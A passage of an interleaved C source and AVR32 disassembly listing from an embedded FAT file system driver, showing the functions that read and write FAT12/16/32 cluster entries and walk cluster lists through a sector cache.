54 eor r4,r2 +80004930: 00 00 add r0,r0 +80004932: 04 40 or r0,r2 +80004934: 80 00 ld.sh r0,r0[0x0] +80004936: 48 2c lddpc r12,8000493c +80004938: 00 00 add r0,r0 +8000493a: 07 24 ld.uh r4,r3++ +8000493c: 00 00 add r0,r0 +8000493e: 04 84 andn r4,r2 + +80004940 : +//! fs_g_u16_pos_fat position in FAT of the cluster to read or write +//! value init in case of the fat_cluster_readnext() routine is used after +//! @endverbatim +//! +Bool fat_cluster_val( Bool b_mode ) +{ +80004940: d4 31 pushm r0-r7,lr +80004942: 18 95 mov r5,r12 + _MEM_TYPE_FAST_ uint32_t u32_offset_fat =0; + _MEM_TYPE_FAST_ uint8_t u8_data1, u8_data2,u8_data3,u8_data4; + _MEM_TYPE_FAST_ PTR_CACHE u8_ptr_cluster; + + //**** Compute the cluster position in FAT (sector address & position in sector) + if ( Is_fat32 ) +80004944: fe f8 02 18 ld.w r8,pc[536] +80004948: 11 88 ld.ub r8,r8[0x0] +8000494a: 30 39 mov r9,3 +8000494c: f2 08 18 00 cp.b r8,r9 +80004950: c0 d1 brne 8000496a + { + // FAT 32 + // Optimization of -> u32_offset_fat = fs_g_cluster.pos * 4 / FS_CACHE_SIZE; + // Optimization of -> u32_offset_fat = fs_g_cluster.pos / 128 + u32_offset_fat = fs_g_cluster.u32_pos >> (8-1); +80004952: fe fa 02 0e ld.w r10,pc[526] +80004956: 74 09 ld.w r9,r10[0x0] +80004958: a7 99 lsr r9,0x7 + + // Optimization of -> fs_g_u16_pos_fat = (fs_g_cluster.u32_pos * 4) % FS_CACHE_SIZE; + // Optimization of -> fs_g_u16_pos_fat = (fs_g_cluster.u32_pos % 128) * 4 + fs_g_u16_pos_fat = ((uint16_t)(LSB0(fs_g_cluster.u32_pos) & 0x7F))<< 2; +8000495a: 15 bb ld.ub r11,r10[0x3] +8000495c: f7 db c0 07 bfextu r11,r11,0x0,0x7 +80004960: a3 6b lsl r11,0x2 +80004962: fe fa 02 02 ld.w r10,pc[514] +80004966: b4 0b st.h r10[0x0],r11 +80004968: c2 08 rjmp 800049a8 + } + else if ( Is_fat16 ) +8000496a: 30 29 mov r9,2 +8000496c: f2 08 18 00 cp.b r8,r9 +80004970: c0 81 brne 80004980 + { + // FAT 16 + // Optimization of -> u32_offset_fat = fs_g_cluster.u32_pos * 2 / FS_CACHE_SIZE = fs_g_cluster.u32_pos / 256; + u32_offset_fat = LSB1(fs_g_cluster.u32_pos); +80004972: 4f ca lddpc r10,80004b60 +80004974: 15 a9 ld.ub r9,r10[0x2] + // Optimization of -> fs_g_u16_pos_fat = (fs_g_cluster.u32_pos * 2) % FS_CACHE_SIZE; + // Optimization of -> fs_g_u16_pos_fat = (fs_g_cluster.u32_pos % 256) * 2 + fs_g_u16_pos_fat = ((uint16_t)LSB0(fs_g_cluster.u32_pos)) <<1; +80004976: 15 bb ld.ub r11,r10[0x3] +80004978: a1 7b lsl r11,0x1 +8000497a: 4f ba lddpc r10,80004b64 +8000497c: b4 0b st.h r10[0x0],r11 +8000497e: c1 58 rjmp 800049a8 + } + else if ( Is_fat12 ) +80004980: 30 19 mov r9,1 +80004982: f2 08 18 00 cp.b r8,r9 +80004986: c0 30 breq 8000498c +80004988: 30 09 mov r9,0 +8000498a: c0 f8 rjmp 800049a8 + { + // FAT 12 + // Optimization of -> fs_g_u16_pos_fat = fs_g_cluster.u32_pos + (fs_g_cluster.u32_pos/ 2) + fs_g_u16_pos_fat = (uint16_t)fs_g_cluster.u32_pos + ((uint16_t)fs_g_cluster.u32_pos >>1); +8000498c: 4f 59 lddpc r9,80004b60 +8000498e: 72 09 ld.w r9,r9[0x0] +80004990: 4f 5a lddpc r10,80004b64 +80004992: f7 d9 c0 2f bfextu r11,r9,0x1,0xf +80004996: 12 0b add r11,r9 +80004998: b4 0b st.h r10[0x0],r11 + // Optimization of -> u32_offset_fat = fs_g_cluster.u32_pos / FS_CACHE_SIZE + u32_offset_fat = MSB(fs_g_u16_pos_fat) >> 1; +8000499a: f7 db c1 08 bfextu r11,r11,0x8,0x8 +8000499e: f6 09 16 01 lsr r9,r11,0x1 + // Optimization of -> fs_g_u16_pos_fat = fs_g_u16_pos_fat % FS_CACHE_SIZE + MSB( fs_g_u16_pos_fat ) &= 0x01; +800049a2: f7 db c0 01 bfextu r11,r11,0x0,0x1 +800049a6: b4 8b st.b r10[0x0],r11 + } + +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) + if (b_mode) +800049a8: 58 05 cp.w r5,0 +800049aa: c2 20 breq 800049ee + { + // Update information about FAT modification + if( fs_g_u32_first_mod_fat > u32_offset_fat ) +800049ac: 4e fa lddpc r10,80004b68 +800049ae: 74 0a ld.w r10,r10[0x0] +800049b0: 14 39 cp.w r9,r10 +800049b2: c0 32 brcc 800049b8 + { + fs_g_u32_first_mod_fat = u32_offset_fat; +800049b4: 4e da lddpc r10,80004b68 +800049b6: 95 09 st.w r10[0x0],r9 + } + if( fs_g_u32_last_mod_fat < u32_offset_fat ) +800049b8: 4e da lddpc r10,80004b6c +800049ba: 74 0a ld.w r10,r10[0x0] +800049bc: 14 39 cp.w r9,r10 +800049be: e0 88 00 04 brls 800049c6 + { + fs_g_u32_last_mod_fat = u32_offset_fat; +800049c2: 4e ba lddpc r10,80004b6c +800049c4: 95 09 st.w r10[0x0],r9 + } + if ( Is_fat12 ) +800049c6: 30 1a mov r10,1 +800049c8: f4 08 18 00 cp.b r8,r10 +800049cc: c1 11 brne 800049ee + { // A cluster may be stored on two sectors + if( fs_g_u16_pos_fat == (FS_CACHE_SIZE-1) ) +800049ce: 4e 68 lddpc r8,80004b64 +800049d0: 90 0a ld.sh r10,r8[0x0] +800049d2: e0 68 01 ff mov r8,511 +800049d6: f0 0a 19 00 cp.h r10,r8 +800049da: c0 a1 brne 800049ee + { // Count the next FAT sector + if( fs_g_u32_last_mod_fat < (u32_offset_fat+1) ) +800049dc: f2 c8 ff ff sub r8,r9,-1 +800049e0: 4e 3a lddpc r10,80004b6c +800049e2: 74 0a ld.w r10,r10[0x0] +800049e4: 14 38 cp.w r8,r10 +800049e6: e0 88 00 04 brls 800049ee + { + fs_g_u32_last_mod_fat = (u32_offset_fat+1); +800049ea: 4e 1a lddpc r10,80004b6c +800049ec: 95 08 st.w r10[0x0],r8 + } + } +#endif // FS_LEVEL_FEATURES + + //**** Read cluster sector in FAT + fs_gu32_addrsector = fs_g_nav.u32_ptr_fat + u32_offset_fat; // Computed logical sector address +800049ee: 4e 18 lddpc r8,80004b70 +800049f0: 70 48 ld.w r8,r8[0x10] +800049f2: 10 09 add r9,r8 +800049f4: 4e 08 lddpc r8,80004b74 +800049f6: 91 09 st.w r8[0x0],r9 + if( !fat_cache_read_sector( true )) +800049f8: 30 1c mov r12,1 +800049fa: f0 1f 00 60 mcall 80004b78 +800049fe: e0 80 00 ad breq 80004b58 + return false; + + // Read cluster information + u8_ptr_cluster = &fs_g_sector[fs_g_u16_pos_fat]; +80004a02: 4d 98 lddpc r8,80004b64 +80004a04: 90 08 ld.sh r8,r8[0x0] +80004a06: ed d8 c0 10 bfextu r6,r8,0x0,0x10 +80004a0a: 4d d9 lddpc r9,80004b7c +80004a0c: 12 06 add r6,r9 + u8_data1 = u8_ptr_cluster[0]; +80004a0e: 0c 97 mov r7,r6 +80004a10: 0f 32 ld.ub r2,r7++ + // Remark: if (fs_g_u16_pos_fat+1)=512 then it isn't a mistake, because this value will be erase in next lines + u8_data2 = u8_ptr_cluster[1]; +80004a12: 0f 8b ld.ub r11,r7[0x0] + u8_data3 = u8_ptr_cluster[2]; +80004a14: ec c4 ff fe sub r4,r6,-2 +80004a18: 09 81 ld.ub r1,r4[0x0] + u8_data4 = u8_ptr_cluster[3]; +80004a1a: ec c3 ff fd sub r3,r6,-3 +80004a1e: 07 80 ld.ub r0,r3[0x0] + + if ( Is_fat12 ) +80004a20: 4c f9 lddpc r9,80004b5c +80004a22: 13 8a ld.ub r10,r9[0x0] +80004a24: 30 19 mov r9,1 +80004a26: f2 0a 18 00 cp.b r10,r9 +80004a2a: c1 11 brne 80004a4c + { // A cluster may be stored on two sectors + if( fs_g_u16_pos_fat == (FS_CACHE_SIZE-1) ) +80004a2c: e0 69 01 ff mov r9,511 +80004a30: f2 08 19 00 cp.h r8,r9 +80004a34: c0 c1 brne 80004a4c + { // Go to next sector + fs_gu32_addrsector++; +80004a36: 4d 08 lddpc r8,80004b74 +80004a38: 70 09 ld.w r9,r8[0x0] +80004a3a: 2f f9 sub r9,-1 +80004a3c: 91 09 st.w r8[0x0],r9 + if( !fat_cache_read_sector( true )) +80004a3e: 30 1c mov r12,1 +80004a40: f0 1f 00 4e mcall 80004b78 +80004a44: e0 80 00 8a breq 80004b58 + return false; + u8_data2 = fs_g_sector[0]; +80004a48: 4c d8 lddpc r8,80004b7c +80004a4a: 11 8b ld.ub r11,r8[0x0] + } + } + + if (false == b_mode) +80004a4c: 58 05 cp.w r5,0 +80004a4e: c3 11 brne 80004ab0 + { + //**** Read the cluster value + LSB0( fs_g_cluster.u32_val ) = u8_data1; // FAT 12,16,32 +80004a50: 4c 48 lddpc r8,80004b60 +80004a52: f0 c9 ff fc sub r9,r8,-4 +80004a56: f0 cc ff f9 sub r12,r8,-7 +80004a5a: b8 82 st.b r12[0x0],r2 + LSB1( fs_g_cluster.u32_val ) = u8_data2; // FAT 12,16,32 +80004a5c: 2f a8 sub r8,-6 +80004a5e: b0 8b st.b r8[0x0],r11 + + if ( Is_fat32 ) +80004a60: 4b fa lddpc r10,80004b5c +80004a62: 15 8a ld.ub r10,r10[0x0] +80004a64: 30 3b mov r11,3 +80004a66: f6 0a 18 00 cp.b r10,r11 +80004a6a: c0 61 brne 80004a76 + { // FAT 32 + LSB2( fs_g_cluster.u32_val ) = u8_data3; +80004a6c: b2 91 st.b r9[0x1],r1 + LSB3( fs_g_cluster.u32_val ) = u8_data4 & 0x0F; // The high 4 bits are reserved +80004a6e: e1 d0 c0 04 bfextu r0,r0,0x0,0x4 +80004a72: b2 80 st.b r9[0x0],r0 +80004a74: da 3a popm r0-r7,pc,r12=1 + } + else + { // FAT 12 & 16 don't use the high bytes + LSB2( fs_g_cluster.u32_val ) = 0; +80004a76: 30 0b mov r11,0 +80004a78: b2 9b st.b r9[0x1],r11 + LSB3( fs_g_cluster.u32_val ) = 0; +80004a7a: b2 8b st.b r9[0x0],r11 + + // FAT 12 translate 16bits value to 12bits + if ( Is_fat12 ) +80004a7c: 30 19 mov r9,1 +80004a7e: f2 0a 18 00 cp.b r10,r9 +80004a82: c0 20 breq 80004a86 +80004a84: da 3a popm r0-r7,pc,r12=1 + { + if ( 0x01 & LSB0(fs_g_cluster.u32_pos) ) +80004a86: 4b 79 lddpc r9,80004b60 +80004a88: 13 b9 ld.ub r9,r9[0x3] +80004a8a: f3 d9 c0 01 bfextu r9,r9,0x0,0x1 +80004a8e: c0 c0 breq 80004aa6 + { // Readed cluster is ODD + LSB0( fs_g_cluster.u32_val ) = (LSB1( fs_g_cluster.u32_val ) <<4 ) + (LSB0( fs_g_cluster.u32_val ) >>4 ); +80004a90: 19 8b ld.ub r11,r12[0x0] +80004a92: a5 8b lsr r11,0x4 +80004a94: 11 89 ld.ub r9,r8[0x0] +80004a96: f2 0a 15 04 lsl r10,r9,0x4 +80004a9a: f6 0a 00 0a add r10,r11,r10 +80004a9e: b8 8a st.b r12[0x0],r10 + LSB1( fs_g_cluster.u32_val ) = LSB1( fs_g_cluster.u32_val ) >>4 ; +80004aa0: a5 89 lsr r9,0x4 +80004aa2: b0 89 st.b r8[0x0],r9 +80004aa4: da 3a popm r0-r7,pc,r12=1 + } + else + { // Readed cluster is EVEN + LSB1( fs_g_cluster.u32_val ) &= 0x0F; +80004aa6: 11 89 ld.ub r9,r8[0x0] +80004aa8: f3 d9 c0 04 bfextu r9,r9,0x0,0x4 +80004aac: b0 89 st.b r8[0x0],r9 +80004aae: da 3a popm r0-r7,pc,r12=1 + } + } + } else { +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) + //**** Write the cluster value + if ( Is_fat12 ) +80004ab0: 4a b8 lddpc r8,80004b5c +80004ab2: 11 88 ld.ub r8,r8[0x0] +80004ab4: 30 19 mov r9,1 +80004ab6: f2 08 18 00 cp.b r8,r9 +80004aba: c3 a1 brne 80004b2e + { + // FAT 12, translate cluster value + if ( 0x01 & LSB0(fs_g_cluster.u32_pos) ) +80004abc: 4a 98 lddpc r8,80004b60 +80004abe: 11 b8 ld.ub r8,r8[0x3] +80004ac0: f1 d8 c0 01 bfextu r8,r8,0x0,0x1 +80004ac4: c1 10 breq 80004ae6 + { // Cluster writing is ODD + u8_data1 = (u8_data1 & 0x0F) + (LSB0( fs_g_cluster.u32_val )<<4); +80004ac6: eb d2 c0 04 bfextu r5,r2,0x0,0x4 +80004aca: 4a 68 lddpc r8,80004b60 +80004acc: 2f c8 sub r8,-4 +80004ace: 11 b9 ld.ub r9,r8[0x3] +80004ad0: f2 0a 15 04 lsl r10,r9,0x4 +80004ad4: 14 05 add r5,r10 +80004ad6: 5c 55 castu.b r5 + u8_data2 = (LSB1( fs_g_cluster.u32_val )<<4) + (LSB0( fs_g_cluster.u32_val )>>4) ; +80004ad8: a5 89 lsr r9,0x4 +80004ada: 11 a8 ld.ub r8,r8[0x2] +80004adc: a5 68 lsl r8,0x4 +80004ade: f2 08 00 0a add r10,r9,r8 +80004ae2: 5c 5a castu.b r10 +80004ae4: c0 c8 rjmp 80004afc + } else { + // Cluster writing is EVEN + u8_data1 = LSB0( fs_g_cluster.u32_val ); +80004ae6: 49 f8 lddpc r8,80004b60 +80004ae8: 2f c8 sub r8,-4 +80004aea: 11 b5 ld.ub r5,r8[0x3] + u8_data2 = (u8_data2 & 0xF0) + (LSB1( fs_g_cluster.u32_val ) & 0x0F) ; +80004aec: 16 9a mov r10,r11 +80004aee: e2 1a 00 f0 andl r10,0xf0,COH +80004af2: 11 a8 ld.ub r8,r8[0x2] +80004af4: f1 d8 c0 04 bfextu r8,r8,0x0,0x4 +80004af8: 10 0a add r10,r8 +80004afa: 5c 5a castu.b r10 + } + + // A cluster may be stored on two sectors + if( fs_g_u16_pos_fat == (FS_CACHE_SIZE-1) ) +80004afc: 49 a8 lddpc r8,80004b64 +80004afe: 90 09 ld.sh r9,r8[0x0] +80004b00: e0 68 01 ff mov r8,511 +80004b04: f0 09 19 00 cp.h r9,r8 +80004b08: c2 31 brne 80004b4e + { + fs_g_sector[0] = u8_data2; +80004b0a: 49 d8 lddpc r8,80004b7c +80004b0c: b0 8a st.b r8[0x0],r10 + fat_cache_mark_sector_as_dirty(); +80004b0e: f0 1f 00 1d mcall 80004b80 + // Go to previous sector + fs_gu32_addrsector--; +80004b12: 49 98 lddpc r8,80004b74 +80004b14: 70 09 ld.w r9,r8[0x0] +80004b16: 20 19 sub r9,1 +80004b18: 91 09 st.w r8[0x0],r9 + if( !fat_cache_read_sector( true )) +80004b1a: 30 1c mov r12,1 +80004b1c: f0 1f 00 17 mcall 80004b78 +80004b20: c1 c0 breq 80004b58 + return false; + // Modify the previous sector + fs_g_sector[ FS_CACHE_SIZE-1 ] = u8_data1; +80004b22: 49 78 lddpc r8,80004b7c +80004b24: f1 65 01 ff st.b r8[511],r5 + fat_cache_mark_sector_as_dirty(); +80004b28: f0 1f 00 16 mcall 80004b80 +80004b2c: da 3a popm r0-r7,pc,r12=1 + } + } + else + { + // FAT 16 & 32 + u8_data1 = LSB0( fs_g_cluster.u32_val ); +80004b2e: 48 d9 lddpc r9,80004b60 +80004b30: 2f c9 sub r9,-4 +80004b32: 13 b5 ld.ub r5,r9[0x3] + u8_data2 = LSB1( fs_g_cluster.u32_val ); +80004b34: 13 aa ld.ub r10,r9[0x2] + if ( Is_fat32 ) +80004b36: 30 3b mov r11,3 +80004b38: f6 08 18 00 cp.b r8,r11 +80004b3c: c0 91 brne 80004b4e + { // FAT 32 + u8_ptr_cluster[2] = LSB2( fs_g_cluster.u32_val ); +80004b3e: 13 98 ld.ub r8,r9[0x1] +80004b40: a8 88 st.b r4[0x0],r8 + u8_ptr_cluster[3] = LSB3( fs_g_cluster.u32_val ) + (u8_data4 & 0xF0); // The high 4 bits are reserved +80004b42: e0 10 ff f0 andl r0,0xfff0 +80004b46: 13 88 ld.ub r8,r9[0x0] +80004b48: f0 00 00 00 add r0,r8,r0 +80004b4c: a6 80 st.b r3[0x0],r0 + } + } + // Here for FAT 32, 16 & 12 (only if the cluster values are in the same sector) + u8_ptr_cluster[0] = u8_data1; +80004b4e: ac 85 st.b r6[0x0],r5 + u8_ptr_cluster[1] = u8_data2; +80004b50: ae 8a st.b r7[0x0],r10 + fat_cache_mark_sector_as_dirty(); +80004b52: f0 1f 00 0c mcall 80004b80 +80004b56: da 3a popm r0-r7,pc,r12=1 +80004b58: d8 3a popm r0-r7,pc,r12=0 +80004b5a: 00 00 add r0,r0 +80004b5c: 00 00 add r0,r0 +80004b5e: 06 d0 st.w --r3,r0 +80004b60: 00 00 add r0,r0 +80004b62: 07 24 ld.uh r4,r3++ +80004b64: 00 00 add r0,r0 +80004b66: 04 54 eor r4,r2 +80004b68: 00 00 add r0,r0 +80004b6a: 06 b8 st.h r3++,r8 +80004b6c: 00 00 add r0,r0 +80004b6e: 04 80 andn r0,r2 +80004b70: 00 00 add r0,r0 +80004b72: 06 84 andn r4,r3 +80004b74: 00 00 add r0,r0 +80004b76: 04 40 or r0,r2 +80004b78: 80 00 ld.sh r0,r0[0x0] +80004b7a: 48 2c lddpc r12,80004b80 +80004b7c: 00 00 add r0,r0 +80004b7e: 04 84 andn r4,r2 +80004b80: 80 00 ld.sh r0,r0[0x0] +80004b82: 46 0c lddsp r12,sp[0x180] + +80004b84 : +//! fs_g_seg.u32_addr The memory segment address corresponding at the beginning of cluster list (only for action FS_CLUST_ACT_SEG & FS_CLUST_ACT_ONE) +//! fs_g_seg.u32_size_or_pos The memory segment size corresponding at cluster list readed or cleared (unit 512B) +//! @endverbatim +//! +Bool fat_cluster_list( uint8_t opt_action, Bool b_for_file ) +{ +80004b84: d4 31 pushm r0-r7,lr +80004b86: 20 2d sub sp,8 +80004b88: 18 93 mov r3,r12 +80004b8a: 16 97 mov r7,r11 + _MEM_TYPE_FAST_ uint32_t u32_tmp; + _MEM_TYPE_FAST_ uint8_t u8_cluster_status; + + fs_g_status = FS_ERR_FS; // By default system error +80004b8c: 30 89 mov r9,8 +80004b8e: fe f8 02 8e ld.w r8,pc[654] +80004b92: b0 89 st.b r8[0x0],r9 + + if( Is_fat32 + && (FS_CLUST_ACT_CLR == opt_action) ) +80004b94: 30 38 mov r8,3 +80004b96: f0 0c 18 00 cp.b r12,r8 +80004b9a: 5f 0a sreq r10 +80004b9c: 50 0a stdsp sp[0x0],r10 + _MEM_TYPE_FAST_ uint32_t u32_tmp; + _MEM_TYPE_FAST_ uint8_t u8_cluster_status; + + fs_g_status = FS_ERR_FS; // By default system error + + if( Is_fat32 +80004b9e: fe f9 02 82 ld.w r9,pc[642] +80004ba2: 13 89 ld.ub r9,r9[0x0] +80004ba4: f0 09 18 00 cp.b r9,r8 +80004ba8: 5f 08 sreq r8 +80004baa: f5 e8 00 08 and r8,r10,r8 +80004bae: c0 60 breq 80004bba + && (FS_CLUST_ACT_CLR == opt_action) ) + { +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET) ) + // Clear free space information storage in FAT32 + if( !fat_write_fat32_FSInfo( 0xFFFFFFFF )) +80004bb0: 3f fc mov r12,-1 +80004bb2: f0 1f 00 9d mcall 80004e24 +80004bb6: e0 80 01 2f breq 80004e14 +#else + return false; +#endif + } + + if ( 0 == fs_g_seg.u32_addr ) +80004bba: fe f8 02 6e ld.w r8,pc[622] +80004bbe: 70 08 ld.w r8,r8[0x0] +80004bc0: 58 08 cp.w r8,0 +80004bc2: c3 b1 brne 80004c38 + { + // Cluster list of root directory + if( FS_CLUST_ACT_CLR == opt_action ) +80004bc4: 40 09 lddsp r9,sp[0x0] +80004bc6: 58 09 cp.w r9,0 +80004bc8: e0 81 01 26 brne 80004e14 + return false; // Impossible to erase ROOT DIR + + if ( Is_fat12 || Is_fat16 ) +80004bcc: fe f8 02 54 ld.w r8,pc[596] +80004bd0: 11 88 ld.ub r8,r8[0x0] +80004bd2: f0 ca 00 01 sub r10,r8,1 +80004bd6: 30 19 mov r9,1 +80004bd8: f2 0a 18 00 cp.b r10,r9 +80004bdc: e0 8b 00 23 brhi 80004c22 + { + // For a FAT 12 & 16, the root dir isn't a cluster list + // Check the position + if ( fs_g_seg.u32_size_or_pos < fs_g_nav.rootdir.seg.u16_size ) +80004be0: fe f8 02 48 ld.w r8,pc[584] +80004be4: 70 18 ld.w r8,r8[0x4] +80004be6: fe f9 02 46 ld.w r9,pc[582] +80004bea: f3 19 00 1a ld.uh r9,r9[26] +80004bee: 12 38 cp.w r8,r9 +80004bf0: c1 32 brcc 80004c16 + { + // Compute the start address and the size + fs_g_seg.u32_addr = fs_g_nav.u32_ptr_fat + fs_g_nav.rootdir.seg.u16_pos + fs_g_seg.u32_size_or_pos; +80004bf2: fe f9 02 36 ld.w r9,pc[566] +80004bf6: fe fa 02 36 ld.w r10,pc[566] +80004bfa: 74 4b ld.w r11,r10[0x10] +80004bfc: 16 08 add r8,r11 +80004bfe: f5 1b 00 18 ld.uh r11,r10[24] +80004c02: 16 08 add r8,r11 +80004c04: 93 08 st.w r9[0x0],r8 + fs_g_seg.u32_size_or_pos = fs_g_nav.rootdir.seg.u16_size - fs_g_seg.u32_size_or_pos; +80004c06: f5 1a 00 1a ld.uh r10,r10[26] +80004c0a: 72 18 ld.w r8,r9[0x4] +80004c0c: f4 08 01 08 sub r8,r10,r8 +80004c10: 93 18 st.w r9[0x4],r8 +80004c12: 30 1c mov r12,1 + return true; +80004c14: c0 19 rjmp 80004e16 + } else { + fs_g_status = FS_ERR_OUT_LIST; +80004c16: 31 a9 mov r9,26 +80004c18: fe f8 02 04 ld.w r8,pc[516] +80004c1c: b0 89 st.b r8[0x0],r9 +80004c1e: 30 0c mov r12,0 + return false; // Position outside the root area +80004c20: cf b8 rjmp 80004e16 + } + } + if ( Is_fat32 ) +80004c22: 30 39 mov r9,3 +80004c24: f2 08 18 00 cp.b r8,r9 +80004c28: c0 a1 brne 80004c3c + { + // For FAT 32, the root is a cluster list and the first cluster is reading during the mount + fs_g_cluster.u32_pos = fs_g_nav.rootdir.u32_cluster; +80004c2a: fe f8 02 02 ld.w r8,pc[514] +80004c2e: 70 69 ld.w r9,r8[0x18] +80004c30: fe f8 02 00 ld.w r8,pc[512] +80004c34: 91 09 st.w r8[0x0],r9 +80004c36: c0 38 rjmp 80004c3c + } + } else { + // It is the first cluster of a cluster list + fs_g_cluster.u32_pos = fs_g_seg.u32_addr; +80004c38: 4f e9 lddpc r9,80004e30 +80004c3a: 93 08 st.w r9[0x0],r8 + } + + // Management of cluster list caches + if( FS_CLUST_ACT_CLR != opt_action ) +80004c3c: 30 38 mov r8,3 +80004c3e: f0 03 18 00 cp.b r3,r8 +80004c42: c0 70 breq 80004c50 + { + if( fat_cache_clusterlist_update_read( b_for_file ) ) +80004c44: 0e 9c mov r12,r7 +80004c46: f0 1f 00 7c mcall 80004e34 +80004c4a: c0 70 breq 80004c58 +80004c4c: 30 1c mov r12,1 +80004c4e: ce 48 rjmp 80004e16 + return true; // Segment found in cache + // Segment not found & cache ready to update + }else{ + fat_cache_clusterlist_reset(); // It is a clear action then clear cluster list caches +80004c50: f0 1f 00 7a mcall 80004e38 +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) + fat_clear_info_fat_mod(); // Init cache on fat modification range +80004c54: f0 1f 00 7a mcall 80004e3c +#endif // FS_LEVEL_FEATURES + } + + // Init loop with a start segment no found + MSB0( fs_g_seg.u32_addr ) = 0xFF; +80004c58: 4f 40 lddpc r0,80004e28 +80004c5a: 3f f8 mov r8,-1 +80004c5c: a0 88 st.b r0[0x0],r8 + + //**** Loop to read the cluster list + while ( 1 ) + { + if ( fs_g_seg.u32_size_or_pos < fs_g_nav.u8_BPB_SecPerClus ) +80004c5e: 00 96 mov r6,r0 +80004c60: 4f 35 lddpc r5,80004e2c + { + // The segment starts in this cluster + // Compute the sector address of this cluster + fs_g_seg.u32_addr = ((fs_g_cluster.u32_pos - 2) * fs_g_nav.u8_BPB_SecPerClus) +80004c62: 4f 47 lddpc r7,80004e30 + + fs_g_nav.u32_ptr_fat + fs_g_nav.u32_offset_data + fs_g_seg.u32_size_or_pos; + + if ( FS_CLUST_ACT_ONE == opt_action ) +80004c64: 30 21 mov r1,2 + // Send a size of one sector + fs_g_seg.u32_size_or_pos = 1; + return true; + } + // Update the segment size + fs_g_seg.u32_size_or_pos = fs_g_nav.u8_BPB_SecPerClus - LSB0( fs_g_seg.u32_size_or_pos ); +80004c66: e0 c8 ff f9 sub r8,r0,-7 +80004c6a: 50 18 stdsp sp[0x4],r8 + + // Take time, during read cluster list on FAT 16 & 32 + if( (FS_CLUST_ACT_SEG == opt_action) +80004c6c: 30 12 mov r2,1 + MSB0( fs_g_seg.u32_addr ) = 0xFF; + + //**** Loop to read the cluster list + while ( 1 ) + { + if ( fs_g_seg.u32_size_or_pos < fs_g_nav.u8_BPB_SecPerClus ) +80004c6e: 6c 19 ld.w r9,r6[0x4] +80004c70: 0b 98 ld.ub r8,r5[0x1] +80004c72: 10 39 cp.w r9,r8 +80004c74: c4 32 brcc 80004cfa + { + // The segment starts in this cluster + // Compute the sector address of this cluster + fs_g_seg.u32_addr = ((fs_g_cluster.u32_pos - 2) * fs_g_nav.u8_BPB_SecPerClus) +80004c76: 6a 4a ld.w r10,r5[0x10] +80004c78: 14 09 add r9,r10 +80004c7a: 6a 5a ld.w r10,r5[0x14] +80004c7c: 14 09 add r9,r10 +80004c7e: 6e 0a ld.w r10,r7[0x0] +80004c80: 20 2a sub r10,2 +80004c82: f4 08 02 48 mul r8,r10,r8 +80004c86: f2 08 00 08 add r8,r9,r8 +80004c8a: 8d 08 st.w r6[0x0],r8 + + fs_g_nav.u32_ptr_fat + fs_g_nav.u32_offset_data + fs_g_seg.u32_size_or_pos; + + if ( FS_CLUST_ACT_ONE == opt_action ) +80004c8c: e2 03 18 00 cp.b r3,r1 +80004c90: c0 d1 brne 80004caa + { + // Compute the maximum size + fs_g_seg.u32_size_or_pos = fs_g_nav.u8_BPB_SecPerClus-fs_g_seg.u32_size_or_pos; +80004c92: 4e 67 lddpc r7,80004e28 +80004c94: 4e 68 lddpc r8,80004e2c +80004c96: 11 99 ld.ub r9,r8[0x1] +80004c98: 6e 18 ld.w r8,r7[0x4] +80004c9a: f2 08 01 08 sub r8,r9,r8 +80004c9e: 8f 18 st.w r7[0x4],r8 + fat_cache_clusterlist_update_finish(); +80004ca0: f0 1f 00 68 mcall 80004e40 + // Send a size of one sector + fs_g_seg.u32_size_or_pos = 1; +80004ca4: 30 1c mov r12,1 +80004ca6: 8f 1c st.w r7[0x4],r12 + return true; +80004ca8: cb 78 rjmp 80004e16 + } + // Update the segment size + fs_g_seg.u32_size_or_pos = fs_g_nav.u8_BPB_SecPerClus - LSB0( fs_g_seg.u32_size_or_pos ); +80004caa: 0b 99 ld.ub r9,r5[0x1] +80004cac: 40 1a lddsp r10,sp[0x4] +80004cae: 15 88 ld.ub r8,r10[0x0] +80004cb0: f2 08 01 08 sub r8,r9,r8 +80004cb4: 8d 18 st.w r6[0x4],r8 + + // Take time, during read cluster list on FAT 16 & 32 + if( (FS_CLUST_ACT_SEG == opt_action) +80004cb6: e4 03 18 00 cp.b r3,r2 +80004cba: c2 01 brne 80004cfa +80004cbc: 4d 99 lddpc r9,80004e20 +80004cbe: 13 88 ld.ub r8,r9[0x0] +80004cc0: e4 08 18 00 cp.b r8,r2 +80004cc4: c1 b0 breq 80004cfa + && (!Is_fat12) ) + { + // Init loop with the current cluster + u32_tmp = fs_g_cluster.u32_pos; +80004cc6: 6e 04 ld.w r4,r7[0x0] + if( !fat_cluster_val( FS_CLUST_VAL_READ )) +80004cc8: 30 0c mov r12,0 +80004cca: f0 1f 00 5f mcall 80004e44 +80004cce: e0 80 00 a3 breq 80004e14 + return false; + // Read cluster list, while this one is continue + while(1) + { + if ( (++fs_g_cluster.u32_pos) != fs_g_cluster.u32_val ) +80004cd2: 6e 09 ld.w r9,r7[0x0] +80004cd4: f2 c8 ff ff sub r8,r9,-1 +80004cd8: 8f 08 st.w r7[0x0],r8 +80004cda: 6e 1a ld.w r10,r7[0x4] +80004cdc: 14 38 cp.w r8,r10 +80004cde: c0 a0 breq 80004cf2 + { + fs_g_cluster.u32_pos--; // Recompute previous value +80004ce0: 8f 09 st.w r7[0x0],r9 + u32_tmp = fs_g_cluster.u32_pos - u32_tmp; // Compute the size of cluster list + fs_g_seg.u32_size_or_pos += u32_tmp * fs_g_nav.u8_BPB_SecPerClus; +80004ce2: 08 19 sub r9,r4 +80004ce4: 0b 98 ld.ub r8,r5[0x1] +80004ce6: b1 39 mul r9,r8 +80004ce8: 6c 18 ld.w r8,r6[0x4] +80004cea: f2 08 00 08 add r8,r9,r8 +80004cee: 8d 18 st.w r6[0x4],r8 + break; +80004cf0: c0 58 rjmp 80004cfa + } + if( !fat_cluster_readnext() ) +80004cf2: f0 1f 00 56 mcall 80004e48 +80004cf6: ce e1 brne 80004cd2 +80004cf8: c8 e8 rjmp 80004e14 + return false; + } + } + } + // Get the cluster value + if( !fat_cluster_val( FS_CLUST_VAL_READ )) +80004cfa: 30 0c mov r12,0 +80004cfc: f0 1f 00 52 mcall 80004e44 +80004d00: e0 80 00 8a breq 80004e14 + return false; + + // Read and check the status of the new cluster + u8_cluster_status 